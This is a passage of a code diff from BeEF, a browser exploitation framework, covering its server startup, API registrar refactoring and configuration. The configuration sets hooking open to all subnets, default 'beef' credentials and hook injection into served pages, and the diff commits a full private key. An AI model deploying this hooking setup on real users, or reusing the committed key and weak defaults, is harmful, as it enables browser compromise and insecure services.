BeEF::Core::Migration.instance.update_db!
rescue => e
print_error("Could not update '#{db_file}' database file: #{e.message}")
exit(1)
end
#
# @note Create HTTP Server and prepare it to run
#
http_hook_server = BeEF::Core::Server.instance
http_hook_server.prepare
begin
BeEF::Core::Logger.instance.register('System', 'BeEF server started')
rescue => e
print_error("Database connection failed: #{e.message}")
exit(1)
end
#
# @note Prints information back to the user before running the server
#
BeEF::Core::Console::Banners.print_loaded_extensions
BeEF::Core::Console::Banners.print_loaded_modules
BeEF::Core::Console::Banners.print_network_interfaces_count
BeEF::Core::Console::Banners.print_network_interfaces_routes
BeEF::Core::Console::Banners.print_http_proxy
BeEF::Core::Console::Banners.print_dns
#@note Prints the API key needed to use the RESTful API
#
# @note Prints the API key needed to use the RESTful API
#
print_info "RESTful API key: #{BeEF::Core::Crypto::api_token}"
#
# @note Load the GeoIP database
#
BeEF::Core::GeoIp.instance
#
# @note Call the API method 'pre_http_start'
#
BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server)
# @note Start the HTTP Server, we additionally check whether we load the Console Shell or not
if config.get("beef.extension.console.shell.enable") == true
require 'extensions/console/shell'
puts ""
begin
FileUtils.mkdir_p(File.expand_path(config.get("beef.extension.console.shell.historyfolder")))
BeEF::Extension::Console::Shell.new(BeEF::Extension::Console::Shell::DefaultPrompt,
BeEF::Extension::Console::Shell::DefaultPromptChar,{'config' => config, 'http_hook_server' => http_hook_server}).run
rescue Interrupt
end
else
print_info 'BeEF server started (press control+c to stop)'
http_hook_server.start
#
# @note Load any ARE (Autorun Rule Engine) rules scanning the <beef_root>/arerules/enabled directory
#
BeEF::Core::AutorunEngine::RuleLoader.instance.load_directory
#
# @note Start the WebSocket server
#
if config.get("beef.http.websocket.enable")
BeEF::Core::Websocket::Websocket.instance
BeEF::Core::Console::Banners.print_websocket_servers
end
#
# @note Start HTTP server
#
print_info 'BeEF server started (press control+c to stop)'
http_hook_server.start

24
beef_cert.pem Normal file
View File

@@ -0,0 +1,24 @@
-----BEGIN CERTIFICATE-----
MIIECTCCAnGgAwIBAgIUbx/YybkSOL8uO0qikl/wsL4xLeIwDQYJKoZIhvcNAQEL
BQAwFDESMBAGA1UEAwwJbG9jYWxob3N0MB4XDTE5MDIxNjEzMjYxNFoXDTI5MDIx
MzEzMjYxNFowFDESMBAGA1UEAwwJbG9jYWxob3N0MIIBojANBgkqhkiG9w0BAQEF
AAOCAY8AMIIBigKCAYEAteQJ2fooOffGU8jFkArCsFaJZW5WSuc5j7i2ciG0LY2C
lVg1Uy7/6xHe048RJAD9AnWajf9Jt7NpAAoyRmFJOepZS8CStON4mBrKUFI4rzAB
W9F7nov5+k+GK11kuvPFyAQCGs82RpGXsEP2ktsimsWvI8jnt7B+DXltqxeWavXB
TYOTsDhyRxXcNPGgenOabtya1XsAecTs4JPOsV4L/hnTS70X8BNOcMRFRNb3W5C0
w3vnid9Q6jhDRC6ghpeVWgnlymqV0Y6v1pbWZRs71sKQF/V5Td5zA8pr9r30YFAD
Wbkb33vicU5BkZ8PQeUygqtqKOhni9i8Yg1otkXmqWsmo5sV/GgKHvkxOoQBlzv3
hhMyYEnKjhPuepKl/VW17zRFdMCQZbvtW9/WBX4AwtKNAxYiRRO5jvDU1pX0nfXw
86ZPfkbkPdJJYqZqqsOSSOVSpCkoLJv/owaY10XwgSEl8rA+3t03/9B6s09Q0o28
0zXu/CMiSBNSEJlJSNdZAgMBAAGjUzBRMB0GA1UdDgQWBBTULhamHun+PWMkHDzg
5yHcv0KOmTAfBgNVHSMEGDAWgBTULhamHun+PWMkHDzg5yHcv0KOmTAPBgNVHRMB
Af8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBgQAZo9xPTktJ1aTxTXfLKivqbPin
5CiRl5DWh1niPUFowmuAGbDCYOHA/+fzhBhFWj3LVaX2dQSpYxiqnfb5FWaxNK+8
9A0AKgf8f2cpJ22QleDFOsyCw8jxzSfmOKKQLifY5Ty5C5P8xb9T0B7LbyR8r17p
sr77eM/5tBpsIIh40AZjoDhi/HHrtqxEb+DgnTRHIBMmzvwkk+v4iXBDCO5BHFof
gVXOF3MrovhH+qA8HFl9diJ6MtTltVAqI0eShBLd2MJ068qKqb+I6pyXGmlrk9Ei
H0XrKlKEKjyum6ZEPr5Mn+NA+4ePRv1mPHoaopJoNhgRislfryGFLJwxeuMJfQOU
oZTmgK8Ur0TYLl/wqf9avX3A8hkffNZXukmzNwjzLVG252RPA2Iq3y1+7VgOjaBJ
rNbwArYInhfF5hJesjo3LAD9H29dFxR6dztpOcDCkaOZEdlz+fvqUFYJzwuHmuSi
DLyqAOr77CjoWEMSHcXUEGUeJDKVqLgzqC9lqf4=
-----END CERTIFICATE-----

40
beef_key.pem Normal file
View File

@@ -0,0 +1,40 @@
-----BEGIN PRIVATE KEY-----
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
jyItP2FJBbw7BlIq7t2c2G66
-----END PRIVATE KEY-----

16
conf.json Normal file
View File

@@ -0,0 +1,16 @@
{
"source": {
"include": ["./core/main/client"],
"includePattern": ".js$"
},
"plugins": [
"plugins/markdown"
],
"opts": {
"encoding": "utf8",
"readme": "./README.md",
"destination": "docs/",
"recurse": true,
"verbose": true
}
}

View File

@@ -1,75 +1,151 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# BeEF Configuration file
beef:
version: '0.4.3.3-alpha'
version: '0.6.0.0'
# More verbose messages (server-side)
debug: false
# More verbose messages (client-side)
client_debug: false
# Used for generating secure tokens
crypto_default_value_length: 80
# Credentials to authenticate in BeEF.
# Used by both the RESTful API and the Admin interface
credentials:
user: "beef"
passwd: "beef"
# Interface / IP restrictions
restrictions:
# subnet of browser ip addresses that can hook to the framework
permitted_hooking_subnet: "0.0.0.0/0"
# subnet of browser ip addresses that can connect to the UI
# permitted_ui_subnet: "127.0.0.1/32"
permitted_ui_subnet: "0.0.0.0/0"
# subnet of IP addresses that can hook to the framework
permitted_hooking_subnet: ["0.0.0.0/0", "::/0"]
# subnet of IP addresses that can connect to the admin UI
#permitted_ui_subnet: ["127.0.0.1/32", "::1/128"]
permitted_ui_subnet: ["0.0.0.0/0", "::/0"]
# subnet of IP addresses that cannot be hooked by the framework
excluded_hooking_subnet: []
# slow API calls to 1 every api_attempt_delay seconds
api_attempt_delay: "0.05"
# HTTP server
http:
debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace.
host: "0.0.0.0"
port: "3000"
# if running behind a nat set the public ip address here
#public: ""
dns: "localhost"
panel_path: "/ui/panel"
# Decrease this setting to 1,000 (ms) if you want more responsiveness
# when sending modules and retrieving results.
# NOTE: A poll timeout of less than 5,000 (ms) might impact performance
# when hooking lots of browsers (50+).
# Enabling WebSockets is generally better (beef.websocket.enable)
xhr_poll_timeout: 1000
# Public Domain Name / Reverse Proxy / Port Forwarding
#
# In order for the client-side BeEF JavaScript hook to be able to connect to BeEF,
# the hook JavaScript needs to be generated with the correct connect-back details.
#
# If you're using a public domain name, reverse proxy, or port forwarding you must
# configure the public-facing connection details here.
#public:
# host: "beef.local" # public hostname/IP address
# port: "443" # public port (443 if the public server is using HTTPS)
# https: false # true/false
# If using any reverse proxy you should also set allow_reverse_proxy to true below.
# Note that this causes the BeEF server to trust the X-Forwarded-For HTTP header.
# If the BeEF server is directly accessible, clients can spoof their connecting
# IP address using this header to bypass the IP address permissions/exclusions.
allow_reverse_proxy: false
# Hook
hook_file: "/hook.js"
hook_session_name: "BEEFHOOK"
session_cookie_name: "BEEFSESSION"
# Allow one or multiple origins to access the RESTful API using CORS
# For multiple origins use: "http://browserhacker.com, http://domain2.com"
restful_api:
allow_cors: false
cors_allowed_domains: "http://browserhacker.com"
# Prefer WebSockets over XHR-polling when possible.
websocket:
enable: false
port: 61985 # WS: good success rate through proxies
# Use encrypted 'WebSocketSecure'
# NOTE: works only on HTTPS domains and with HTTPS support enabled in BeEF
secure: true
secure_port: 61986 # WSSecure
ws_poll_timeout: 5000 # poll BeEF every x second, this affects how often the browser can have a command execute on it
ws_connect_timeout: 500 # useful to help fingerprinting finish before establishing the WS channel
# Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header)
web_server_imitation:
enable: false
#supported: apache, iis
type: "apache"
enable: true
type: "apache" # Supported: apache, iis, nginx
hook_404: false # inject BeEF hook in HTTP 404 responses
hook_root: false # inject BeEF hook in the server home page
# Experimental HTTPS support for the hook / admin / all other Thin managed web services
https:
enable: false
# In production environments, be sure to use a valid certificate signed for the value
# used in beef.http.public (the domain name of the server where you run BeEF)
key: "beef_key.pem"
cert: "beef_cert.pem"
database:
# For information on using other databases please read the
# README.databases file
file: "beef.db"
# supported DBs: sqlite, mysql, postgres
driver: "sqlite"
# Autorun Rule Engine
autorun:
# this is used when rule chain_mode type is nested-forward, needed as command results are checked via setInterval
# to ensure that we can wait for async command results. The timeout is needed to prevent infinite loops or eventually
# continue execution regardless of results.
# If you're chaining multiple async modules, and you expect them to complete in more than 5 seconds, increase the timeout.
result_poll_interval: 300
result_poll_timeout: 5000
# db_file is only used for sqlite
db_file: "beef.db"
# db connection information is only used for mysql/postgres
db_host: "localhost"
db_name: "beef"
db_user: "beef"
db_passwd: "beef123"
db_encoding: "UTF-8"
# If the modules doesn't return status/results and timeout exceeded, continue anyway with the chain.
# This is useful to call modules (nested-forward chain mode) that are not returning their status/results.
continue_after_timeout: true
crypto_default_value_length: 80
# Enables DNS lookups on zombie IP addresses
dns_hostname_lookup: false
# IP Geolocation
geoip:
enable: true
# GeoLite2 City database created by MaxMind, available from https://www.maxmind.com
database: '/usr/share/GeoIP/GeoLite2-City.mmdb'
# You may override default extension configuration parameters here
# Note: additional experimental extensions are available in the 'extensions' directory
# and can be enabled via their respective 'config.yaml' file
extension:
admin_ui:
enable: true
base_path: "/ui"
demos:
enable: true
events:
enable: true
evasion:
enable: false
requester:
enable: true
enable: true
proxy:
enable: true
enable: true
network:
enable: true
metasploit:
enable: false
console:
shell:
enable: false
social_engineering:
enable: false
xssrays:
enable: true

View File

@@ -1,184 +1,209 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API
#
# Registrar class to handle all registered timed API calls
#
class Registrar
include Singleton
#
# Create registrar
#
def initialize
@registry = []
@count = 1
end
# Register timed API calls to an owner
#
# @param [Class] owner the owner of the API hook
# @param [Class] c the API class the owner would like to hook into
# @param [Class] clss the API class the owner would like to hook into
# @param [String] method the method of the class the owner would like to execute
# @param [Array] params an array of parameters that need to be matched before the owner will be called
def register(owner, c, method, params = [])
if self.verify_api_path(c, method)
if not self.registered?(owner, c, method, params)
id = @count
@registry << {
'id' => id,
'owner' => owner,
'class' => c,
'method' => method,
'params' => params
}
@count += 1
return id
else
print_debug "API Registrar: Attempting to re-register API call #{c.to_s} :#{method.to_s}"
end
else
print_error "API Registrar: Attempted to register non-existant API method #{c.to_s} :#{method.to_s}"
#
def register(owner, clss, method, params = [])
unless verify_api_path(clss, method)
print_error "API Registrar: Attempted to register non-existent API method #{clss} :#{method}"
return
end
if registered?(owner, clss, method, params)
print_debug "API Registrar: Attempting to re-register API call #{clss} :#{method}"
return
end
id = @count
@registry << {
'id' => id,
'owner' => owner,
'class' => clss,
'method' => method,
'params' => params
}
@count += 1
id
end
#
# Tests whether the owner is registered for an API hook
#
# @param [Class] owner the owner of the API hook
# @param [Class] c the API class
# @param [Class] clss the API class
# @param [String] method the method of the class
# @param [Array] params an array of parameters that need to be matched
#
# @return [Boolean] whether or not the owner is registered
def registered?(owner, c, method, params = [])
@registry.each{|r|
if r['owner'] == owner and r['class'] == c and r['method'] == method and self.is_matched_params?(r, params)
return true
end
}
return false
#
def registered?(owner, clss, method, params = [])
@registry.each do |r|
next unless r['owner'] == owner
next unless r['class'] == clss
next unless r['method'] == method
next unless is_matched_params? r, params
return true
end
false
end
#
# Match a timed API call to determine if an API.fire() is required
# @param [Class] c the target API class
#
# @param [Class] clss the target API class
# @param [String] method the method of the target API class
# @param [Array] params an array of parameters that need to be matched
#
# @return [Boolean] whether or not the arguments match an entry in the API registry
def matched?(c, method, params = [])
@registry.each{|r|
if r['class'] == c and r['method'] == method and self.is_matched_params?(r, params)
return true
end
}
return false
#
def matched?(clss, method, params = [])
@registry.each do |r|
next unless r['class'] == clss
next unless r['method'] == method
next unless is_matched_params? r, params
return true
end
false
end
#
# Un-registers an API hook
#
# @param [Integer] id the ID of the API hook
#
def unregister(id)
@registry.delete_if{|r|
r['id'] == id
}
@registry.delete_if { |r| r['id'] == id }
end
#
# Retrieves all the owners and ID's of an API hook
# @param [Class] c the target API class
# @param [Class] clss the target API class
# @param [String] method the method of the target API class
# @param [Array] params an array of parameters that need to be matched
#
# @return [Array] an array of hashes consisting of two keys :owner and :id
def get_owners(c, method, params = [])
#
def get_owners(clss, method, params = [])
owners = []
@registry.each{|r|
if r['class'] == c and r['method'] == method
if self.is_matched_params?(r, params)
owners << { :owner => r['owner'], :id => r['id']}
end
end
}
return owners
@registry.each do |r|
next unless r['class'] == clss
next unless r['method'] == method
next unless is_matched_params? r, params
owners << { owner: r['owner'], id: r['id'] }
end
owners
end
#
# Verifies that the api_path has been regitered
# Verifies the API path has been registered.
#
# @note This is a security precaution
# @param [Class] c the target API class to verify
# @param [String] m the target method to verify
def verify_api_path(c, m)
return (c.const_defined?('API_PATHS') and c.const_get('API_PATHS').has_key?(m))
#
# @param [Class] clss the target API class to verify
# @param [String] mthd the target method to verify
#
def verify_api_path(clss, mthd)
(clss.const_defined?('API_PATHS') && clss.const_get('API_PATHS').key?(mthd))
end
#
# Retrieves the registered symbol reference for an API hook
# @param [Class] c the target API class to verify
# @param [String] m the target method to verify
#
# @param [Class] clss the target API class to verify
# @param [String] mthd the target method to verify
#
# @return [Symbol] the API path
def get_api_path(c, m)
return (self.verify_api_path(c, m)) ? c.const_get('API_PATHS')[m] : nil;
#
def get_api_path(clss, mthd)
verify_api_path(clss, mthd) ? clss.const_get('API_PATHS')[mthd] : nil
end
#
# Matches stored API params to params
#
# @note If a stored API parameter has a NilClass the parameter matching is skipped for that parameter
# @note By default this method returns true, this is either because the API.fire() did not include any parameters or there were no parameters defined for this registry entry
#
# @param [Hash] reg hash of registry element, must contain 'params' key
# @param [Array] params array of parameters to be compared to the stored parameters
#
# @return [Boolean] whether params matches the stored API parameters
#
def is_matched_params?(reg, params)
stored = reg['params']
if stored.length == params.length
matched = true
stored.each_index{|i|
next if stored[i] == nil
if not stored[i] == params[i]
matched = false
end
}
return false if not matched
return true unless stored.length == params.length
stored.each_index do |i|
next if stored[i].nil?
return false unless stored[i] == params[i]
end
return true
true
end
#
# Fires all owners registered to this API hook
# @param [Class] c the target API class
# @param [String] m the target API method
#
# @param [Class] clss the target API class
# @param [String] mthd the target API method
# @param [Array] *args parameters passed for the API call
# @return [Hash, NilClass] returns either a Hash of :api_id and :data if the owners return data, otherwise NilClass
def fire(c, m, *args)
mods = self.get_owners(c, m, args)
if mods.length > 0
data = []
if self.verify_api_path(c, m) and c.ancestors[0].to_s > "BeEF::API"
method = self.get_api_path(c, m)
mods.each do |mod|
begin
#Only used for API Development (very verbose)
#print_info "API: #{mod} fired #{method}"
result = mod[:owner].method(method).call(*args)
if not result == nil
data << {:api_id => mod[:id], :data => result}
end
rescue Exception => e
print_error "API Fire Error: #{e.message} in #{mod.to_s}.#{method.to_s}()"
end
end
else
print_error "API Path not defined for Class: #{c.to_s} method:#{method.to_s}"
end
return data
#
# @return [Hash, NilClass] returns either a Hash of :api_id and :data
# if the owners return data, otherwise NilClass
#
def fire(clss, mthd, *args)
mods = get_owners(clss, mthd, args)
return nil unless mods.length.positive?
unless verify_api_path(clss, mthd) && clss.ancestors.first.to_s.start_with?('BeEF::API')
print_error "API Path not defined for Class: #{clss} method: #{mthd}"
return []
end
return nil
data = []
method = get_api_path(clss, mthd)
mods.each do |mod|
# Only used for API Development (very verbose)
# print_info "API: #{mod} fired #{method}"
result = mod[:owner].method(method).call(*args)
data << { api_id: mod[:id], data: result } unless result.nil?
rescue StandardError => e
print_error "API Fire Error: #{e.message} in #{mod}.#{method}()"
end
data
end
end
end
end
@@ -187,8 +212,7 @@ require 'core/api/modules'
require 'core/api/extension'
require 'core/api/extensions'
require 'core/api/main/migration'
require 'core/api/main/network_stack/assethandler.rb'
require 'core/api/main/network_stack/assethandler'
require 'core/api/main/server'
require 'core/api/main/server/hook'
require 'core/api/main/configuration'

View File

@@ -1,30 +1,17 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API
module Extension
attr_reader :full_name, :short_name, :description
@full_name = ''
@short_name = ''
@description = ''
end
end
end

View File

@@ -1,31 +1,18 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API
module Extensions
# @note Defined API Paths
API_PATHS = {
'post_load' => :post_load
}
'post_load' => :post_load
}.freeze
# API hook fired after all extensions have been loaded
def post_load;
end
def post_load; end
end
end
end

View File

@@ -1,32 +1,19 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API
module Configuration
# @note Defined API Paths
API_PATHS = {
module API
module Configuration
# @note Defined API Paths
API_PATHS = {
'module_configuration_load' => :module_configuration_load
}
# Fires just after module configuration is loaded and merged
# @param [String] mod module key
def module_configuration_load(mod); end
}.freeze
# Fires just after module configuration is loaded and merged
# @param [String] mod module key
def module_configuration_load(mod); end
end
end
end
end

View File

@@ -1,31 +1,18 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API
module Migration
# @note Defined API Paths
API_PATHS = {
module API
module Migration
# @note Defined API Paths
API_PATHS = {
'migrate_commands' => :migrate_commands
}
}.freeze
# Fired just after the migration process
def migrate_commands; end
# Fired just after the migration process
def migrate_commands; end
end
end
end
end

View File

@@ -1,46 +1,34 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API
module NetworkStack
module Handlers
module AssetHandler
module API
module NetworkStack
module Handlers
module AssetHandler
# Binds a file to be accessible by the hooked browser
# @param [String] file file to be served
# @param [String] path URL path to be bound, if no path is specified a randomly generated one will be used
# @param [String] extension to be used in the URL
# @param [Integer] count amount of times the file can be accessed before being automatically unbound. (-1 = no limit)
# @return [String] URL bound to the specified file
# @todo Add hooked browser parameter to only allow specified hooked browsers access to the bound URL. Waiting on Issue #336
# @note This is a direct API call and does not have to be registered to be used
def self.bind(file, path = nil, extension = nil, count = -1)
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(file, path, extension, count)
end
# Binds a file to be accessible by the hooked browser
# @param [String] file file to be served
# @param [String] path URL path to be bound, if no path is specified a randomly generated one will be used
# @param [String] extension to be used in the URL
# @param [Integer] count amount of times the file can be accessed before being automatically unbound. (-1 = no limit)
# @return [String] URL bound to the specified file
# @todo Add hooked browser parameter to only allow specified hooked browsers access to the bound URL. Waiting on Issue #336
# @note This is a direct API call and does not have to be registered to be used
def self.bind(file, path=nil, extension=nil, count=-1)
return BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(file, path, extension, count)
# Unbinds a file made accessible to hooked browsers
# @param [String] url the bound URL
# @todo Add hooked browser parameter to only unbind specified hooked browsers binds. Waiting on Issue #336
# @note This is a direct API call and does not have to be registered to be used
def self.unbind(url)
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind(url)
end
end
end
end
# Unbinds a file made accessible to hooked browsers
# @param [String] url the bound URL
# @todo Add hooked browser parameter to only unbind specified hooked browsers binds. Waiting on Issue #336
# @note This is a direct API call and does not have to be registered to be used
def self.unbind(url)
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind(url)
end
end
end
end
end
end
end

View File

@@ -1,53 +1,40 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API
module Server
# @note Defined API Paths
API_PATHS = {
module API
module Server
# @note Defined API Paths
API_PATHS = {
'mount_handler' => :mount_handler,
'pre_http_start' => :pre_http_start
}
# Fires just before the HTTP Server is started
# @param [Object] http_hook_server HTTP Server object
def pre_http_start(http_hook_server); end
# Fires just after handlers have been mounted
# @param [Object] server HTTP Server object
def mount_handler(server); end
# Mounts a handler
# @param [String] url URL to be mounted
# @param [Class] http_handler_class the handler Class
# @param [Array] args an array of arguments
# @note This is a direct API call and does not have to be registered to be used
def self.mount(url, http_handler_class, args = nil)
BeEF::Core::Server.instance.mount(url, http_handler_class, *args)
end
}.freeze
# Unmounts a handler
# @param [String] url URL to be unmounted
# @note This is a direct API call and does not have to be registered to be used
def self.unmount(url)
# Fires just before the HTTP Server is started
# @param [Object] http_hook_server HTTP Server object
def pre_http_start(http_hook_server); end
# Fires just after handlers have been mounted
# @param [Object] server HTTP Server object
def mount_handler(server); end
# Mounts a handler
# @param [String] url URL to be mounted
# @param [Class] http_handler_class the handler Class
